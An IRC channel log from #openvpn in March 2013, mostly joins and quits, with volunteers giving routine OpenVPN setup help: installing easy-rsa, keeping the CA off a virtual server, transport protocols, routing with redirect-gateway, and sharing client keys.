21:52 -!- Ah2k_ is now known as Rough_
21:52 -!- bkrieg1337__ [~bkrieg133@li515-89.members.linode.com] has quit [Read error: Connection reset by peer]
21:53 -!- bkrieg1337__ [~bkrieg133@li515-89.members.linode.com] has joined #openvpn
21:55 -!- Netsplit *.net <-> *.split quits: b00gz_
22:00 -!- bkrieg1337__ [~bkrieg133@li515-89.members.linode.com] has quit [Read error: Connection reset by peer]
22:00 -!- rooth_ [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
22:05 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 256 seconds]
22:06 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
22:06 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
22:06 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
22:06 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
22:12 -!- Sickness\ is now known as sickness\
22:28 -!- sickness\ is now known as Sickness\
22:40 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
22:58 -!- Netsplit *.net <-> *.split quits: Wintereise
22:59 -!- pa__ [~pa@host95-21-dynamic.61-82-r.retail.telecomitalia.it] has joined #openvpn
22:59 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 246 seconds]
23:01 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
23:02 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
23:02 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
23:11 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
23:13 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has quit [Ping timeout: 252 seconds]
23:14 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has joined #openvpn
23:26 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
23:26 -!- mode/#openvpn [+o vpnHelper] by ChanServ
23:30 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
23:47 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 255 seconds]
23:52 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-jwvwhuuvningrgva] has joined #openvpn
--- Day changed Mon Mar 25 2013
00:11 -!- jpalmer_ [~jpalmer@irc.PalmerIT.net] has quit [Quit: leaving]
00:30 -!- Scrumps [~asdfgjkl@cpe-173-095-129-006.nc.res.rr.com] has quit []
00:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
00:31 -!- mode/#openvpn [+o krzee] by ChanServ
00:39 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
--- Log closed Mon Mar 25 00:44:46 2013
--- Log opened Mon Mar 25 00:45:02 2013
00:45 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
00:45 -!- Irssi: #openvpn: Total of 172 nicks [6 ops, 0 halfops, 0 voices, 166 normal]
00:45 !card.freenode.net [freenode-info] channel flooding and no channel staff around to help? Please check with freenode support: http://freenode.net/faq.shtml#gettinghelp
00:45 -!- Irssi: Join to #openvpn was synced in 39 secs
00:45 -!- EugeneK [~eugene@madeitwor.se] has joined #openvpn
00:46 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
00:46 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
00:46 -!- Aketzu [akolehma@kelvin.aketzu.net] has quit [Ping timeout: 245 seconds]
00:46 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 245 seconds]
00:46 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 245 seconds]
00:46 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 245 seconds]
00:46 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Ping timeout: 245 seconds]
00:46 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has quit [Ping timeout: 245 seconds]
00:46 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
00:46 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 245 seconds]
00:46 -!- Aprogas [aprogas@enki.aprogas.net] has quit [Ping timeout: 245 seconds]
00:46 -!- maetrik [maetrik@185.14.184.81] has quit [Ping timeout: 245 seconds]
00:46 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has quit [Ping timeout: 245 seconds]
00:46 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 245 seconds]
00:46 -!- EugeneKay [eugene@madeitwor.se] has quit [Ping timeout: 245 seconds]
00:46 -!- nikitosiusis [~nikitos@2a02:6b8:0:81f::189] has quit [Ping timeout: 245 seconds]
00:46 -!- C_S_B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 245 seconds]
00:46 -!- ihptru_ is now known as ihptru
00:46 -!- EugeneK is now known as EugeneKay
00:46 -!- Champi [Champi@rootshell.fr] has joined #openvpn
00:46 -!- nikitosiusis [~nikitos@2a02:6b8:0:81f::189] has joined #openvpn
00:46 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
00:47 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
00:47 -!- eric [eric@185.14.184.81] has joined #openvpn
00:47 -!- eric is now known as Guest86768
02:25 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
02:39 -!- Guest86768 [eric@185.14.184.81] has quit [Quit: Bye Bye!]
02:41 -!- maetrik [maetrik@185.14.184.81] has joined #openvpn
03:20 -!- nastjuid_ [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Ping timeout: 256 seconds]
03:22 -!- MeanderingCode [~Meanderin@71-213-190-2.albq.qwest.net] has quit [Read error: Connection reset by peer]
03:34 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
03:37 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
03:39 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 264 seconds]
03:39 -!- EugeneKay [~eugene@madeitwor.se] has quit [Ping timeout: 264 seconds]
03:39 -!- zeroXten_ [~zeroXten@0x10.co.uk] has quit [Ping timeout: 264 seconds]
03:39 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
03:39 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 264 seconds]
03:39 -!- Aketzu [akolehma@81.22.244.161] has joined #openvpn
03:39 -!- Netsplit *.net <-> *.split quits: MorgyN_, Wintereise
03:40 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
03:40 -!- Netsplit *.net <-> *.split quits: zarrsh_, frank--
03:40 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 256 seconds]
03:42 -!- Netsplit *.net <-> *.split quits: [fred], Aketzu_, TypoNe
03:42 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
03:42 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
03:43 -!- Cybert1nus is now known as Cybertinus
03:43 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has quit [Quit: q]
03:44 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has joined #openvpn
03:44 -!- ingmar5 [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Excess Flood]
03:44 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
03:44 -!- Netsplit over, joins: TypoNe
03:44 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
03:44 -!- Netsplit over, joins: [fred]
03:44 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
03:44 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Max SendQ exceeded]
03:45 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
03:45 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
03:45 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
03:45 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
03:46 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
03:49 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
03:54 -!- Netsplit *.net <-> *.split quits: zarrsh, Wintereise
03:54 -!- Netsplit over, joins: zarrsh
03:55 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
03:55 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
03:55 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
03:55 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
04:06 -!- nikitosiusis [~nikitos@2a02:6b8:0:81f::189] has quit [Remote host closed the connection]
04:19 -!- defswork [~andy@141.0.50.105] has joined #openvpn
04:25 -!- Aprogas_ is now known as Aprogas
04:29 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 252 seconds]
04:29 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
04:32 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
04:56 -!- js__ is now known as js_
05:02 -!- novaflash is now known as novaflash_away
05:06 < maetrik> !welcome
05:06 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
05:06 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
05:06 < maetrik> !redirect
05:06 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
05:06 <@vpnHelper> http://ircpimps.org/redirect.png
05:07 < maetrik> !howto
05:07 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
05:08 < maetrik> !sample
05:08 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
05:11 -!- novaflash_away is now known as novaflash
05:14 -!- pa__ is now known as pa
05:15 -!- pa [~pa@host95-21-dynamic.61-82-r.retail.telecomitalia.it] has quit [Changing host]
05:15 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
05:21 -!- JSharpe__ is now known as JSharpe
05:29 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
05:29 -!- mode/#openvpn [+o dazo] by ChanServ
05:48 -!- tcamuso__ [tcamuso@nat/redhat/x-eszrmkbdedmpenog] has joined #openvpn
05:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
06:02 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
06:02 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
06:03 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
06:16 -!- ade_b [~Ade@koln-5d81a61d.pool.mediaWays.net] has joined #openvpn
06:16 -!- ade_b [~Ade@koln-5d81a61d.pool.mediaWays.net] has quit [Changing host]
06:16 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:21 -!- mode/#openvpn [+o EugeneKay] by ChanServ
06:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:47 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
06:47 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
06:50 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has quit [Ping timeout: 256 seconds]
06:55 -!- You're now known as ecrist
06:55 -!- mode/#openvpn [+o ecrist] by ChanServ
06:58  * EugeneKay gives pants to ecrist
06:58 <@ecrist> ?
06:58 <@EugeneKay> I thought you might need them
06:58 <@ecrist> I'd have to wear them, in order to need them.
07:02 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
07:08 -!- rooth_ is now known as rooth
07:14 -!- Rough_ [Ah2k@114.31.8.194] has quit [Read error: Connection reset by peer]
07:14 -!- Ah2k [Ah2k@114.31.8.194] has joined #openvpn
07:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
07:28 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Ping timeout: 256 seconds]
07:35 -!- auska [~joel@unaffiliated/auska] has joined #openvpn
07:37 < auska> Hi! When I use openVPN I lost the ssh connection to my server. How can I configure openVPN to redirect all traffic except from the ssh?
07:37 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
07:41 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has joined #openvpn
07:44 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
07:45 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:46 -!- ade_b [~Ade@koln-5d81a61d.pool.mediaWays.net] has joined #openvpn
07:46 -!- ade_b [~Ade@koln-5d81a61d.pool.mediaWays.net] has quit [Changing host]
07:46 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:51 < maetrik> Is there an easy way to install easy-rsa on Ubuntu 12.04?
07:52 < maetrik> I've installed 2.3.0 and now need easy-rsa.
07:52 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
07:53 -!- penk [~dave@static-66-137-171-68.axsne.net] has joined #openvpn
07:55 < pekster> !easy-rsa
07:55 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
07:55 -!- TypoNe [~itsme@195.197.184.87] has quit [Quit: I shouldn't really be here - dircproxy 1.1.0]
07:55 < pekster> maetrik: ^^
07:55 < maetrik> Yes, I have the download link. Just wondering how I should install.
07:55 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
07:56 < pekster> auska: Is your "server" actually an openvpn "client" using --redirect-gateway, or do you mean you've somehow tried to use that directive on an OpenVPN peer configured as the server?
07:58 < maetrik> ah wait, i can install it with apt-get pekster
07:58 < pekster> auska: Since easy-rsa is just a collection of scripts, you can simply copy the 'easy-rsa/2.0' subdirectory somewhere useful and begin using it. That said, we've made some changes recently and you might be better off grabbing a copy of the latest development changes from here: https://github.com/OpenVPN/easy-rsa
07:58 <@vpnHelper> Title: OpenVPN/easy-rsa · GitHub (at github.com)
07:59 < pekster> I'm not sure about 12.04; I don't seem to see any easy-rsa in the repos for 12.10, but maybe my test VM is too new
07:59 < maetrik> ok
08:04 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
08:08 -!- p3rror [~mezgani@41.140.181.89] has joined #openvpn
08:08 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has joined #openvpn
08:10 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
08:10 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
08:14 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Quit: Leaving]
08:15 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:15 < rob0> You don't need easy-rsa to be in your distro package manager. In fact you should just run it from a non-root $HOME directory.
08:18 -!- AvatarAang [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:18 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
08:18 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 245 seconds]
08:18 -!- AvatarAang is now known as Valcorb
08:29 -!- Pei_ is now known as Pei
08:36 -!- Ah2k [Ah2k@114.31.8.194] has quit [Read error: Connection reset by peer]
08:36 -!- Ah2k [Ah2k@114.31.8.194] has joined #openvpn
08:41 < maetrik> ok rob0 thanks
08:43 < maetrik> this is all new to me, i basically rent a small vps in the us so that i can watch some us only content from europe
08:44 < maetrik> so i need to setup openvpn server on that vpn
08:44 < maetrik> *vps
08:44 < maetrik> i'll get there, learning new stuff every day hah
08:49 < rob0> you definitely do NOT want to run easy-rsa on a VPS. It should be on a real, physical computer.
09:03 < maetrik> why?
09:03 < maetrik> you see i am learning here ;)
09:04 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
09:05 < rob0> A virtual machine has no entropy source for random data, thus is not suitable for generating cryptographic keys.
09:05 < maetrik> what should i do? run it on my own machine?
09:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:12 < rob0> Your CA signing should not be done on the VPN server, either. That would mean if an attacker got shell and root on the server, they'd also gain control of your CA/PKI. Run easy-rsa on a real, physical computer, ideally, not one which is part of the VPN.
09:13 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:16 < maetrik> ok
09:25 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
09:47 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
09:48 < MacGyver> rob0: Well, that does really depend on the way the virtual machine's /dev/random works... But you can't trust it.
09:50 < pekster> Nope. It that's just the kernel's frontend for a device node to reference when you want a stream of psudo-random numbers. The magic happens on the other side dealing with entropy collection. VMs are going to have very poor entropy becauase they lack direct physical hardware that accounts for most of the valuable entropy on a modern computer
09:52 < MacGyver> pekster: You're assuming that it's isolated. There are VM-solutions where /dev/random is provided by the host kernel, and entropy collection can be done since that does have access to the physical hardware.
09:52 < MacGyver> pekster: So yes, it depends - but even in that case I wouldn't trust it.
09:53 < pekster> Right. And I still wouldn't want my CA in someone else's cluster computing environment
09:53 < MacGyver> One of the reasons why I wouldn't trust it.
09:54 < rob0> The most paranoid among us will keep the CA on a USB key and in a safe.
09:54 < MacGyver> Point is that there's far better reasons than "there's no entropy source" *not* to do this.
09:54 < MacGyver> Because "there's no entropy souce" isn't even always true.
09:54 < pekster> Entropy is a big deal. I recommend "Facthacks" from the 2012 29C3
09:54 < pekster> (1h talk, worth your time if you're into entropy and RSA keys and such)
09:55 < MacGyver> I know. I was there.
09:56 < MacGyver> And although entropy is a big deal, another thing you should've taken away from that talk is that pastebin is not secure cloud storage ;)
09:56 < MacGyver> (Well, really, that storing keys in the cloud is not a good idea in general.)
09:57 < MacGyver> My point is that when the only reason for not doing this, that you provide, is "there's no entropy", somebody will counter with "but there is in my setup", do it anyway, and then be bitten because of all the other things that are wrong with that setup.
09:57 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:57 < MacGyver> Anyway, I've gotta go to a meeting.
09:58 < pekster> I believe both big reasons were covered above, before any of this. entropy + system security
09:59 -!- amir [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
09:59 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
10:00 -!- p3rror [~mezgani@41.140.181.89] has quit [Quit: Leaving]
10:30 -!- tcamuso__ [tcamuso@nat/redhat/x-eszrmkbdedmpenog] has quit [Ping timeout: 260 seconds]
10:30 -!- tcamuso__ [tcamuso@nat/redhat/x-qrycyeqthdldqtml] has joined #openvpn
10:32 -!- raidz is now known as raidz_away
10:32 -!- raidz_away is now known as raidz
10:36 -!- maetrik [maetrik@185.14.184.81] has left #openvpn []
10:40 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
10:46 -!- MeanderingCode [~Meanderin@71-213-190-2.albq.qwest.net] has joined #openvpn
11:06 -!- Sickness\ [~stront@unaffiliated/s-work] has quit [Read error: Operation timed out]
11:06 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has quit [Read error: Operation timed out]
11:07 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
11:07 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
11:18 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
11:22 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Quit: ZNC - http://znc.sourceforge.net]
11:24 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
11:24 -!- MeanderingCode [~Meanderin@71-213-190-2.albq.qwest.net] has quit [Read error: Connection reset by peer]
11:26 -!- MeanderingCode [~Meanderin@71-213-190-2.albq.qwest.net] has joined #openvpn
11:29 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
11:33 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
11:35 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:59 -!- mibofra [~mibofra@host244-161-dynamic.43-79-r.retail.telecomitalia.it] has joined #openvpn
11:59 < mibofra> hi :))
12:00 < mibofra> Can anyone say me if open vpn doesn't use GRE?
12:00 < rob0> OpenVPN does not use GRE.
12:02 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Quit: Leaving]
12:03 < mibofra> rob0 thanks :)), cos I've tried to use a pptp one, but my modem (strange XD ) doesn't support vpn passthrough (and GRE XD) so I can use a vpn pptp network only locally (very useful XD). So I've to try with OpenVPN
12:05 < mibofra> I've seen lots of howto configure a openvpn server... But there is an OpenVPN control gui :)) ? (or I've to use webmin)
12:06 < rob0> OpenVPN uses a single UDP port for transport, so it's usually easy to get through firewalls. (Can also use TCP.) I don't use any GUI, can't comment.
12:07 < mibofra> ok, so I've and udp port opened for my vpn server, so I'll use it
12:08 < mibofra> *an udp port XD
12:08 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Remote host closed the connection]
12:09 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
12:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:13 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
12:19 -!- auska [~joel@unaffiliated/auska] has quit [Quit: Lost terminal]
12:20 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Ping timeout: 600 seconds]
12:24 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
12:24 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
12:43 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
12:43 -!- mibofra [~mibofra@host244-161-dynamic.43-79-r.retail.telecomitalia.it] has quit [Remote host closed the connection]
12:48 -!- Poster|w [poster@gateway/shell/bshellz.net/x-abfybiqhisdcpdwn] has joined #openvpn
12:52 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has joined #openvpn
12:52 -!- Masxmasx{AFK} is now known as Masxmasx
12:52 -!- Masxmasx [~IetsVulga@u134.baconseed.org] has quit [Changing host]
12:52 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
12:52 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Read error: Connection reset by peer]
12:54 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
12:58 -!- tekzilla_ is now known as tekzilla
13:02 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
13:02 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:02 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Quit: Lost terminal]
13:02 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:07 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Remote host closed the connection]
13:08 -!- 77CAAU6MD [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:08 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:09 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Quit: Lost terminal]
13:09 -!- 77CAAU6MD [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Quit: Lost terminal]
13:09 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
13:09 < copper> hi
13:10 < copper> I came here a short while ago complaining about smartphone battery usage, and blaming openvpn for Android
13:10 < copper> I was wrong. What was killing the battery, was my IRC client
13:10 < copper> specifically, the fact that I was present in a channel with lots of traffic
13:11 < copper> as soon as I parted that channel, I got my battery life back
13:11 < copper> Sorry for jumping to conclusions.
13:11 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
13:17 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:18 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
13:18 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:18 -!- 14WAAJ4FG [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:19 -!- 14WAAJ4FG [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Quit: Lost terminal]
13:19 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Quit: Lost terminal]
13:23 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
13:58 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:01 -!- zu [~zu@ks387228.kimsufi.com] has quit [Ping timeout: 256 seconds]
14:02 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
14:11 -!- Gruu_ [~Gruu@213.211.132.86.static.edpnet.net] has joined #openvpn
14:18 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
14:19 < hrenovo> hi. So I have win7 client connected to openvpn server and I have 'redirect' enabled
14:19 -!- Gruu_ [~Gruu@213.211.132.86.static.edpnet.net] has quit [Quit: Gruu_]
14:20 < hrenovo> So if I have port forwarding rules in the router, are they now dismissed ?
14:20 < hrenovo> because all traffic goes to openvpn TAP interface
14:20 < hrenovo> ?
14:26 < pekster> hrenovo: That causes asymmetric routing as the reply from your internal system doesn't go back through your original router. Since you're probably performing NAT on the redirected traffic as it goes out your VPN server, it has a different source address and thet original sender will reject it. You have 2 choices to fix that:
14:27 < pekster> 1) Perform hairpin NAT where you have your router on your real Internet connection NAT the packets so they appear to your LAN client as if the router sent them (thus loosing any chance of knowing where they really came from) or 2) set up policy routing on your LAN client (not the router) to send traffic received on your exposed service back out your ISPs route, not via the VPN
14:32 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
14:35 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 260 seconds]
14:36 -!- copper [~copper@unaffiliated/copper] has left #openvpn ["Leaving"]
14:52 -!- EddieBauer [~eddie@206-47-100-148.dsl.ncf.ca] has joined #openvpn
14:52 < EddieBauer> !welcome
14:52 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:52 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:53 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:53 < EddieBauer> !ask
14:53 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
14:55 -!- lord4163 [~fabian@81-232-61-81-no226.tbcn.telia.com] has joined #openvpn
14:55 < lord4163> Hello
14:55 < EddieBauer> Hello.  Could anyone explain to me the security-related dangers in distributing a single client.key to multiple users along with the config?  Could someone sniff the traffic of another client with that key somehow?
14:56 < lord4163> what do I have to fill in EXPORT_COUTRY ? Im living in sweden????
14:59 < EddieBauer> I'm currently distributing the same ca.crt, client.ovpn, client.crt, and client.key to multiple people so they can access the OpenVPN server.  Is this a bad idea?  Is there a better way of making it so anyone can connect to the VPN without needing a password?
